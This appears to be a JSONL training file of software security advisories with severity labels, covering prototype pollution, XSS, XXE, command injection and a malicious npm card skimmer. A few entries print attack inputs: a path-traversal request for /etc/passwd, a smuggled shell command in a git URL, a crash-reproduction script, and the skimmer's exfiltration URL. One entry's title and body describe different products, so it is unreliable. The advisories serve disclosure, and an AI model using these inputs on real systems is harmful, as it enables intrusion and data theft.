-{"id": "1c10522e603949dd86da", "text": "Malicious Package in @fangrong/xoc\n\nVersion 1.0.6 of `@fangrong/xoc` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nRemove the package from your environment. It's also recommended to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 1.0.5", "text_raw": "Malicious Package in @fangrong/xoc\n\n[Severity: CRITICAL]\n\nVersion 1.0.6 of `@fangrong/xoc` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nRemove the package from your environment. It's also recommended to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 1.0.5", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "bc573e618180677a55b9", "text": "Prototype Pollution in reggae\n\nAll versions of `reggae` are vulnerable to prototype pollution. The function `set` does not restrict the modification of an Object's prototype, which may allow a malicious to add or modify an existing property that will exist on all objects.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Prototype Pollution in reggae\n\n[Severity: HIGH]\n\nAll versions of `reggae` are vulnerable to prototype pollution. The function `set` does not restrict the modification of an Object's prototype, which may allow a malicious to add or modify an existing property that will exist on all objects.\n\n\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "4b5d9c0148c5c340c61a", "text": "Pillow Buffer overflow in ImagingLibTiffDecode\n\nBuffer overflow in the `ImagingLibTiffDecode` function in `libImaging/TiffDecode.c` in Pillow before 3.1.1 allows remote attackers to overwrite memory via a crafted TIFF file.", "text_raw": "Pillow Buffer overflow in ImagingLibTiffDecode\n\n[Severity: MEDIUM]\n\nBuffer overflow in the `ImagingLibTiffDecode` function in `libImaging/TiffDecode.c` in Pillow before 3.1.1 allows remote attackers to overwrite memory via a crafted TIFF file.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-24", "split": "train"}
-{"id": "5a8b0d5fae80f0333b7f", "text": "Cross-Site Scripting in serve\n\nVersions of `serve` prior to 10.0.2 are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize filenames, allowing attackers to execute arbitrary JavaScript in the victim's browser through files with names containing malicious code.\n\n## Recommendation\n\nUpgrade to version 10.0.2 or later.", "text_raw": "Cross-Site Scripting in serve\n\n[Severity: MEDIUM]\n\nVersions of `serve` prior to 10.0.2 are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize filenames, allowing attackers to execute arbitrary JavaScript in the victim's browser through files with names containing malicious code.\n\n\n## Recommendation\n\nUpgrade to version 10.0.2 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "7de3dc4b17fdbcaa7324", "text": "Command Injection in jison\n\n**Withdrawn:** This vulnerability is not present in the released npm package.  Rather the vulnerable code is\npart of the repo, but not part of the package. See linked hackerone report for more details.\n\nInsufficient input validation in npm package `jison` <= 0.4.18 may lead to OS command injection attacks.", "text_raw": "Command Injection in jison\n\n[Severity: HIGH]\n\n**Withdrawn:** This vulnerability is not present in the released npm package.  Rather the vulnerable code is\npart of the repo, but not part of the package. See linked hackerone report for more details.\n\nInsufficient input validation in npm package `jison` <= 0.4.18 may lead to OS command injection attacks.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-10-08", "split": "train"}
-{"id": "df0a7deb3e8c0f84b8c9", "text": "miow invalidly assumes the memory layout of std::net::SocketAddr\n\nThe miow crate has assumed std::net::SocketAddrV4 and std::net::SocketAddrV6 have the same memory layout as the system C representation sockaddr. It has simply casted the pointers to convert the socket addresses to the system representation. The standard library does not say anything about the memory layout, and this will cause invalid memory access if the standard library changes the implementation. No warnings or errors will be emitted once the change happens.", "text_raw": "miow invalidly assumes the memory layout of std::net::SocketAddr\n\n[Severity: MEDIUM]\n\nThe miow crate has assumed std::net::SocketAddrV4 and std::net::SocketAddrV6 have the same memory layout as the system C representation sockaddr. It has simply casted the pointers to convert the socket addresses to the system representation. The standard library does not say anything about the memory layout, and this will cause invalid memory access if the standard library changes the implementation. No warnings or errors will be emitted once the change happens.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "510878acf78c106e890b", "text": "OpenMRS 2.3 (1.11.4) Local File Disclosure Vulnerability", "text_raw": "OpenMRS 2.3 (1.11.4) Local File Disclosure Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2015-12-07", "split": "train"}
-{"id": "3169f774de32fb4a836f", "text": "Invalid HTTP method overrides allow possible XSS or other attacks in Symfony\n\nIn Symfony before 2.7.51, 2.8.x before 2.8.50, 3.x before 3.4.26, 4.x before 4.1.12, and 4.2.x before 4.2.7, HTTP Methods provided as verbs or using the override header may be treated as trusted input, but they are not validated, possibly causing SQL injection or XSS. This is related to symfony/http-foundation.", "text_raw": "Invalid HTTP method overrides allow possible XSS or other attacks in Symfony\n\n[Severity: CRITICAL]\n\nIn Symfony before 2.7.51, 2.8.x before 2.8.50, 3.x before 3.4.26, 4.x before 4.1.12, and 4.2.x before 4.2.7, HTTP Methods provided as verbs or using the override header may be treated as trusted input, but they are not validated, possibly causing SQL injection or XSS. This is related to symfony/http-foundation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-12-02", "split": "train"}
-{"id": "948a591e46f78d0ecae0", "text": "Missing Origin Validation in browserify-hmr\n\nVersions of `browserify-hmr` prior to 0.4.0 are missing origin validation on the websocket server.\n\nThis vulnerability allows a remote attacker to steal a developer's source code because the origin of requests to the websocket server that is used for Hot Module Replacement (HMR) are not validated.\n\n## Recommendation\n\nUpgrade to version 0.4.0 or later.", "text_raw": "Missing Origin Validation in browserify-hmr\n\n[Severity: HIGH]\n\nVersions of `browserify-hmr` prior to 0.4.0 are missing origin validation on the websocket server. \n\nThis vulnerability allows a remote attacker to steal a developer's source code because the origin of requests to the websocket server that is used for Hot Module Replacement (HMR) are not validated.\n\n\n## Recommendation\n\nUpgrade to version 0.4.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "3b9350a3418f3ce42d0d", "text": "Pysaml2 does not sanitize XML responses\n\nXML External Entity (XXE) vulnerability in PySAML2 4.4.0 and earlier allows remote attackers to read arbitrary files via a crafted SAML XML request or response.", "text_raw": "Pysaml2 does not sanitize XML responses\n\n[Severity: HIGH]\n\nXML External Entity (XXE) vulnerability in PySAML2 4.4.0 and earlier allows remote attackers to read arbitrary files via a crafted SAML XML request or response.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-16", "split": "train"}
-{"id": "4ec6ba023e92c9331491", "text": "Null pointer dereference in `EditDistance`\n\n### Impact\nAn attacker can trigger a null pointer dereference in the implementation of `tf.raw_ops.EditDistance`:\n\n```python\nimport tensorflow as tf\n\nhypothesis_indices = tf.constant([247, 247, 247], shape=[1, 3], dtype=tf.int64)\nhypothesis_values = tf.constant([-9.9999], shape=[1], dtype=tf.float32)\nhypothesis_shape = tf.constant([0, 0, 0], shape=[3], dtype=tf.int64)\ntruth_indices = tf.constant([], shape=[0, 3], dtype=tf.int64)\ntruth_values = tf.constant([], shape=[0], dtype=tf.float32)\ntruth_shape = tf.constant([0, 0, 0], shape=[3], dtype=tf.int64)\n\ntf.raw_ops.EditDistance(\n    hypothesis_indices=hypothesis_indices, hypothesis_values=hypothesis_values,\n    hypothesis_shape=hypothesis_shape, truth_indices=truth_indices,\n    truth_values=truth_values, truth_shape=truth_shape, normalize=True)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/79865b542f9ffdc9caeb255631f7c56f1d4b6517/tensorflow/core/kernels/edit_distance_op.cc#L103-L159) has incomplete validation of the input parameters.\n\nIn the above scenario, an attacker causes an allocation of an empty tensor for the output:\n\n```cc\nOP_REQUIRES_OK(ctx, ctx->allocate_output(\"output\", output_shape, &output));\nauto output_t = output->flat<float>();\noutput_t.setZero();\n```\n\nBecause `output_shape` has 0 elements, the result of `output->flat<T>()` has an empty buffer, so calling `setZero` would result in a null dereference.\n\n### Patches\nWe have patched the issue in GitHub commit [f4c364a5d6880557f6f5b6eb5cee2c407f0186b3](https://github.com/tensorflow/tensorflow/commit/f4c364a5d6880557f6f5b6eb5cee2c407f0186b3).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "text_raw": "Null pointer dereference in `EditDistance`\n\n[Severity: LOW]\n\n### Impact\nAn attacker can trigger a null pointer dereference in the implementation of `tf.raw_ops.EditDistance`: \n    \n```python\nimport tensorflow as tf\n\nhypothesis_indices = tf.constant([247, 247, 247], shape=[1, 3], dtype=tf.int64)\nhypothesis_values = tf.constant([-9.9999], shape=[1], dtype=tf.float32)\nhypothesis_shape = tf.constant([0, 0, 0], shape=[3], dtype=tf.int64)\ntruth_indices = tf.constant([], shape=[0, 3], dtype=tf.int64)\ntruth_values = tf.constant([], shape=[0], dtype=tf.float32)\ntruth_shape = tf.constant([0, 0, 0], shape=[3], dtype=tf.int64)\n\ntf.raw_ops.EditDistance(\n    hypothesis_indices=hypothesis_indices, hypothesis_values=hypothesis_values,\n    hypothesis_shape=hypothesis_shape, truth_indices=truth_indices,\n    truth_values=truth_values, truth_shape=truth_shape, normalize=True)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/79865b542f9ffdc9caeb255631f7c56f1d4b6517/tensorflow/core/kernels/edit_distance_op.cc#L103-L159) has incomplete validation of the input parameters.\n\nIn the above scenario, an attacker causes an allocation of an empty tensor for the output:\n\n```cc\nOP_REQUIRES_OK(ctx, ctx->allocate_output(\"output\", output_shape, &output));\nauto output_t = output->flat<float>();\noutput_t.setZero();\n```\n\nBecause `output_shape` has 0 elements, the result of `output->flat<T>()` has an empty buffer, so calling `setZero` would result in a null dereference.\n\n### Patches\nWe have patched the issue in GitHub commit [f4c364a5d6880557f6f5b6eb5cee2c407f0186b3](https://github.com/tensorflow/tensorflow/commit/f4c364a5d6880557f6f5b6eb5cee2c407f0186b3).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "70e6d7e48c52bf8c7f97", "text": "Excessive Platform Resource Consumption within a Loop in Kubernetes\n\nThe Kubernetes API Server component in versions 1.1-1.14, and versions prior to 1.15.10, 1.16.7 and 1.17.3 allows an authorized user who sends malicious YAML payloads to cause the kube-apiserver to consume excessive CPU cycles while parsing YAML.", "text_raw": "Excessive Platform Resource Consumption within a Loop in Kubernetes\n\n[Severity: MEDIUM]\n\nThe Kubernetes API Server component in versions 1.1-1.14, and versions prior to 1.15.10, 1.16.7 and 1.17.3 allows an authorized user who sends malicious YAML payloads to cause the kube-apiserver to consume excessive CPU cycles while parsing YAML.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-20", "split": "train"}
-{"id": "a320c7bc4e561e806aa5", "text": "Source code is downloaded over cleartext HTTP in portaudio\n\nAn issue was discovered in the portaudio crate through 0.7.0 for Rust. There is a man-in-the-middle issue because the source code is downloaded over cleartext HTTP.", "text_raw": "Source code is downloaded over cleartext HTTP in portaudio\n\n[Severity: MEDIUM]\n\nAn issue was discovered in the portaudio crate through 0.7.0 for Rust. There is a man-in-the-middle issue because the source code is downloaded over cleartext HTTP.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "229c556b74de24a89179", "text": "Sort order SQL injection in Administrate\n\nIn Administrate (rubygem) before version 0.13.0, when sorting by attributes on a dashboard,\nthe direction parameter was not validated before being interpolated into the SQL query.\nThis could present a SQL injection if the attacker were able to modify the `direction` parameter and bypass ActiveRecord SQL protections.\n\nWhilst this does have a high-impact, to exploit this you need access to the Administrate dashboards, which we would expect to be behind authentication.\n\nThis is patched in wersion 0.13.0.", "text_raw": "Sort order SQL injection in Administrate\n\n[Severity: HIGH]\n\nIn Administrate (rubygem) before version 0.13.0, when sorting by attributes on a dashboard,\nthe direction parameter was not validated before being interpolated into the SQL query.\nThis could present a SQL injection if the attacker were able to modify the `direction` parameter and bypass ActiveRecord SQL protections.\n\nWhilst this does have a high-impact, to exploit this you need access to the Administrate dashboards, which we would expect to be behind authentication.\n\nThis is patched in wersion 0.13.0.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-03-13", "split": "train"}
-{"id": "de09c09e677715fc0c4f", "text": "Cross-Site Scripting in grav\n\ngrav prior to version 1.7.24 is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').", "text_raw": "Cross-Site Scripting in grav\n\n[Severity: MEDIUM]\n\ngrav prior to version 1.7.24 is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-01", "split": "train"}
-{"id": "f1774d87e90dae1d3fb4", "text": "Command Injection in @graphql-tools/git-loader\n\nThis affects the package @graphql-tools/git-loader before 6.2.6. The use of exec and execSync in packages/loaders/git/src/load-git.ts allows arbitrary command injection.", "text_raw": "Command Injection in @graphql-tools/git-loader\n\n[Severity: HIGH]\n\nThis affects the package @graphql-tools/git-loader before 6.2.6. The use of exec and execSync in packages/loaders/git/src/load-git.ts allows arbitrary command injection.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-01-29", "split": "train"}
-{"id": "a3c05bf93562dcd76cfe", "text": "Cobbler before 3.3.0 allows log poisoning\n\nCobbler before 3.3.0 allows log poisoning, and resultant Remote Code Execution, via an XMLRPC method that logs to the logfile for template injection.", "text_raw": "Cobbler before 3.3.0 allows log poisoning\n\n[Severity: HIGH]\n\nCobbler before 3.3.0 allows log poisoning, and resultant Remote Code Execution, via an XMLRPC method that logs to the logfile for template injection.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-05", "split": "train"}
-{"id": "6a9b4cb015fadeb026da", "text": "Electron Vulnerable to Code Execution by Re-Enabling Node.js Integration\n\nA vulnerability has been discovered which allows Node.js integration to be re-enabled in some Electron applications that disable it.\n\nFor the application to be impacted by this vulnerability it must meet all of these conditions\n\n- Runs on Electron 1.7, 1.8, or a 2.0.0-beta\n- Allows execution of arbitrary remote code\n- Disables Node.js integration\n- Does not explicitly declare webviewTag: false in its webPreferences\n- Does not enable the nativeWindowOption option\n- Does not intercept new-window events and manually override event.newGuest without using the supplied options tag\n\n## Recommendation\n\nUpdate to `electron` version 1.7.13, 1.8.4, or 2.0.0-beta.5 or later.\n\nIf you are unable to update your Electron version can mitigate the vulnerability with the following code.\n\n```js\napp.on('web-contents-created', (event, win) => {\n  win.on('new-window', (event, newURL, frameName, disposition,\n                        options, additionalFeatures) => {\n    if (!options.webPreferences) options.webPreferences = {};\n    options.webPreferences.nodeIntegration = false;\n    options.webPreferences.nodeIntegrationInWorker = false;\n    options.webPreferences.webviewTag = false;\n    delete options.webPreferences.preload;\n  })\n})\n\n// and *IF* you don't use WebViews at all,\n// you might also want\napp.on('web-contents-created', (event, win) => {\n  win.on('will-attach-webview', (event, webPreferences, params) => {\n    event.preventDefault();\n  })\n})\n```", "text_raw": "Electron Vulnerable to Code Execution by Re-Enabling Node.js Integration\n\n[Severity: HIGH]\n\nA vulnerability has been discovered which allows Node.js integration to be re-enabled in some Electron applications that disable it.\n\nFor the application to be impacted by this vulnerability it must meet all of these conditions\n\n- Runs on Electron 1.7, 1.8, or a 2.0.0-beta\n- Allows execution of arbitrary remote code\n- Disables Node.js integration\n- Does not explicitly declare webviewTag: false in its webPreferences\n- Does not enable the nativeWindowOption option\n- Does not intercept new-window events and manually override event.newGuest without using the supplied options tag\n\n\n## Recommendation\n\nUpdate to `electron` version 1.7.13, 1.8.4, or 2.0.0-beta.5 or later.\n\nIf you are unable to update your Electron version can mitigate the vulnerability with the following code.\n\n```js\napp.on('web-contents-created', (event, win) => {\n  win.on('new-window', (event, newURL, frameName, disposition,\n                        options, additionalFeatures) => {\n    if (!options.webPreferences) options.webPreferences = {};\n    options.webPreferences.nodeIntegration = false;\n    options.webPreferences.nodeIntegrationInWorker = false;\n    options.webPreferences.webviewTag = false;\n    delete options.webPreferences.preload;\n  })\n})\n\n// and *IF* you don't use WebViews at all,\n// you might also want\napp.on('web-contents-created', (event, win) => {\n  win.on('will-attach-webview', (event, webPreferences, params) => {\n    event.preventDefault();\n  })\n})\n```", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-03-26", "split": "train"}
-{"id": "9a8719a9236cbb1f8ba5", "text": "API token verification can be bypassed in NodeBB\n\n### Impact\nIncorrect logic present in the token verification step unintentionally allowed master token access to the API.\n\n### Patches\nThe vulnerability has been patch as of v1.18.5.\n\n### Workarounds\nCherry-pick commit hash 04dab1d550cdebf4c1567bca9a51f8b9ca48a500 to receive this patch in lieu of a full upgrade.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@nodebb.org](mailto:security@nodebb.org)", "text_raw": "API token verification can be bypassed in NodeBB \n\n[Severity: CRITICAL]\n\n### Impact\nIncorrect logic present in the token verification step unintentionally allowed master token access to the API.\n\n### Patches\nThe vulnerability has been patch as of v1.18.5.\n\n### Workarounds\nCherry-pick commit hash 04dab1d550cdebf4c1567bca9a51f8b9ca48a500 to receive this patch in lieu of a full upgrade.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@nodebb.org](mailto:security@nodebb.org)\n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-11-30", "split": "train"}
-{"id": "015771ca02365f5500f3", "text": "Google Chrome Browser 0.2.149.27 Denial of Service Exploit", "text_raw": "Google Chrome Browser 0.2.149.27 Denial of Service Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2008-09-04", "split": "train"}
-{"id": "afb94874be8abe89180f", "text": "Improper Verification of Cryptographic Signature in Pure-Python ECDSA\n\nA flaw was found in all python-ecdsa versions before 0.13.3, where it did not correctly verify whether signatures used DER encoding. Without this verification, a malformed signature could be accepted, making the signature malleable. Without proper verification, an attacker could use a malleable signature to create false transactions.", "text_raw": "Improper Verification of Cryptographic Signature in Pure-Python ECDSA\n\n[Severity: CRITICAL]\n\nA flaw was found in all python-ecdsa versions before 0.13.3, where it did not correctly verify whether signatures used DER encoding. Without this verification, a malformed signature could be accepted, making the signature malleable. Without proper verification, an attacker could use a malleable signature to create false transactions.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-04-01", "split": "train"}
-{"id": "571000554e64a71aff97", "text": "Command injection in codecov (npm package)\n\n### Impact\n\nThe `upload` method has a command injection vulnerability. Clients of the `codecov-node` library are unlikely to be aware of this, so they might unwittingly write code that contains a vulnerability.\n\nA similar CVE was issued: [CVE-2020-7597](https://github.com/advisories/GHSA-5q88-cjfq-g2mh), but the fix was incomplete. It only blocked `&`, and command injection is still possible using backticks instead to bypass the sanitizer.\n\nWe have written a [CodeQL](https://codeql.com) query, which automatically detects this vulnerability. You can see the results of the query on the `codecov-node` project [here](https://lgtm.com/query/7714424068617023832/).\n\n### Patches\nThis has been patched in version 3.7.1\n\n### Workarounds\n\nNone, however, the attack surface is low in this case. Particularly in the standard use of codecov, where the module is used directly in a build pipeline, not built against as a library in another application that may supply malicious input and perform command injection.\n\n### References\n*  [CVE-2020-7597](https://github.com/advisories/GHSA-5q88-cjfq-g2mh)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Contact us via our [Security Email](mailto:security@codecov.io)", "text_raw": "Command injection in codecov (npm package)\n\n[Severity: MEDIUM]\n\n### Impact\n\nThe `upload` method has a command injection vulnerability. Clients of the `codecov-node` library are unlikely to be aware of this, so they might unwittingly write code that contains a vulnerability.\n\nA similar CVE was issued: [CVE-2020-7597](https://github.com/advisories/GHSA-5q88-cjfq-g2mh), but the fix was incomplete. It only blocked `&`, and command injection is still possible using backticks instead to bypass the sanitizer.\n\nWe have written a [CodeQL](https://codeql.com) query, which automatically detects this vulnerability. You can see the results of the query on the `codecov-node` project [here](https://lgtm.com/query/7714424068617023832/).\n\n\n### Patches\nThis has been patched in version 3.7.1\n\n### Workarounds\n\nNone, however, the attack surface is low in this case. Particularly in the standard use of codecov, where the module is used directly in a build pipeline, not built against as a library in another application that may supply malicious input and perform command injection. \n\n### References\n*  [CVE-2020-7597](https://github.com/advisories/GHSA-5q88-cjfq-g2mh)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Contact us via our [Security Email](mailto:security@codecov.io)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-07-20", "split": "train"}
-{"id": "c91532ba7f4067a8dde6", "text": "Improper Restriction of XML External Entity Reference in org.springframework.integration:spring-integration-ws and org.springframework.integration:spring-integration-xml\n\nSpring Integration (spring-integration-xml and spring-integration-ws modules), versions 4.3.18, 5.0.10, 5.1.1, and older unsupported versions, were susceptible to XML External Entity Injection (XXE) when receiving XML data from untrusted sources.", "text_raw": "Improper Restriction of XML External Entity Reference in org.springframework.integration:spring-integration-ws and org.springframework.integration:spring-integration-xml\n\n[Severity: LOW]\n\nSpring Integration (spring-integration-xml and spring-integration-ws modules), versions 4.3.18, 5.0.10, 5.1.1, and older unsupported versions, were susceptible to XML External Entity Injection (XXE) when receiving XML data from untrusted sources.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2019-01-25", "split": "train"}
-{"id": "71a6e4da46364cf019c7", "text": "Information Disclosure in Guava\n\nA temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method.", "text_raw": "Information Disclosure in Guava\n\n[Severity: LOW]\n\nA temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-03-25", "split": "train"}
-{"id": "ba910d6e27b75540c80c", "text": "Arbitrary Command Injection due to Improper Command Sanitization\n\n### Summary\nThere exists a command injection vulnerability in `npmcli/git` versions <2.0.8 which may result in arbitrary shell command execution due to improper argument sanitization when `npmcli/git` is used to execute Git commands based on user controlled input.\n\nThe impact of this issue is possible Arbitrary Command Injection when `npmcli/git` is run with untrusted (user controlled) Git command arguments.\n\n### Impact\n\nArbitrary Command Injection\n\n### Details\n\n`npmcli/git` prior to release `2.0.8` passed user controlled input as arguments to a shell command without properly sanitizing this input. Passing unsanitized input to a shell can lead to arbitrary command injection. For example passing `git+https://github.com/npm/git; echo hello world` would trigger the shell execution of `echo hello world`.\n\nThis issue was remediated by no longer running `npmcli/git` git commands through an intermediate shell.\n\n### Patches\n\nThis issue has been patched in release `2.0.8`\n\n### Acknowledgements\n\nThis report was reported to us by @tyage (Ierae Security) through the [GitHub Bug Bounty Program](https://bounty.github.com).", "text_raw": "Arbitrary Command Injection due to Improper Command Sanitization\n\n[Severity: MEDIUM]\n\n### Summary\nThere exists a command injection vulnerability in `npmcli/git` versions <2.0.8 which may result in arbitrary shell command execution due to improper argument sanitization when `npmcli/git` is used to execute Git commands based on user controlled input. \n\nThe impact of this issue is possible Arbitrary Command Injection when `npmcli/git` is run with untrusted (user controlled) Git command arguments. \n\n### Impact\n\nArbitrary Command Injection\n\n### Details\n\n`npmcli/git` prior to release `2.0.8` passed user controlled input as arguments to a shell command without properly sanitizing this input. Passing unsanitized input to a shell can lead to arbitrary command injection. For example passing `git+https://github.com/npm/git; echo hello world` would trigger the shell execution of `echo hello world`.  \n\nThis issue was remediated by no longer running `npmcli/git` git commands through an intermediate shell.\n\n### Patches\n\nThis issue has been patched in release `2.0.8`\n\n### Acknowledgements\n\nThis report was reported to us by @tyage (Ierae Security) through the [GitHub Bug Bounty Program](https://bounty.github.com).\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-05", "split": "train"}
-{"id": "2f985dab1fdde740314a", "text": "Integer Overflow or Wraparound in Google TensorFlow\n\n### Issue Description\nGoogle TensorFlow 1.7.x and earlier is affected by a Buffer Overflow vulnerability. The type of exploitation is context-dependent. The block size in meta file might contain a large int64 value which causes an integer overflow upon addition. Subsequent code using n as index may cause an out-of-bounds read.\n\n### Impact\nA maliciously crafted meta checkpoint could be used to cause the TensorFlow process to perform an out of bounds read on in process memory.", "text_raw": "Integer Overflow or Wraparound in Google TensorFlow\n\n[Severity: CRITICAL]\n\n### Issue Description\nGoogle TensorFlow 1.7.x and earlier is affected by a Buffer Overflow vulnerability. The type of exploitation is context-dependent. The block size in meta file might contain a large int64 value which causes an integer overflow upon addition. Subsequent code using n as index may cause an out-of-bounds read.\n\n### Impact\nA maliciously crafted meta checkpoint could be used to cause the TensorFlow process to perform an out of bounds read on in process memory.\n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-04-30", "split": "train"}
-{"id": "1f26dc9d6c611f9aa7aa", "text": "Directory Traversal in dmmcquay.lab6\n\nAffected versions of `dmmcquay.lab6` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in dmmcquay.lab6\n\n[Severity: HIGH]\n\nAffected versions of `dmmcquay.lab6` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "49dd377f32cc555ac798", "text": "Active Record subject to strong parameters protection bypass\n\n`activerecord/lib/active_record/relation/query_methods.rb` in Active Record in Ruby on Rails 4.0.x before 4.0.9 and 4.1.x before 4.1.5 allows remote attackers to bypass the strong parameters protection mechanism via crafted input to an application that makes `create_with` calls.", "text_raw": "Active Record subject to strong parameters protection bypass\n\n[Severity: HIGH]\n\n`activerecord/lib/active_record/relation/query_methods.rb` in Active Record in Ruby on Rails 4.0.x before 4.0.9 and 4.1.x before 4.1.5 allows remote attackers to bypass the strong parameters protection mechanism via crafted input to an application that makes `create_with` calls.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "e1b3e3c2683cf6c07b25", "text": "Denial of service vulnerability exists when .NET and .NET Core improperly process XML documents\n\nA Denial of Service vulnerability was found in Apache Qpid Broker-J versions 7.x before 7.1.0 when AMQP protocols 0-8, 0-9 or 0-91 are used to publish messages with size greater than allowed maximum message size limit (100MB by default). The broker crashes due to the defect. AMQP protocols 0-10 and 1.0 are not affected.", "text_raw": "Denial of service vulnerability exists when .NET and .NET Core improperly process XML documents\n\n[Severity: HIGH]\n\nA Denial of Service vulnerability was found in Apache Qpid Broker-J versions 7.x before 7.1.0 when AMQP protocols 0-8, 0-9 or 0-91 are used to publish messages with size greater than allowed maximum message size limit (100MB by default). The broker crashes due to the defect. AMQP protocols 0-10 and 1.0 are not affected.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "21b3eaefa73468a145b3", "text": "devise Time-of-check Time-of-use Race Condition vulnerability\n\nDevise ruby gem before 4.6.0 when the `lockable` module is used is vulnerable to a time-of-check time-of-use (TOCTOU) race condition due to `increment_failed_attempts` within the `Devise::Models::Lockable` class not being concurrency safe.", "text_raw": "devise Time-of-check Time-of-use Race Condition vulnerability\n\n[Severity: MEDIUM]\n\nDevise ruby gem before 4.6.0 when the `lockable` module is used is vulnerable to a time-of-check time-of-use (TOCTOU) race condition due to `increment_failed_attempts` within the `Devise::Models::Lockable` class not being concurrency safe.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-03-19", "split": "train"}
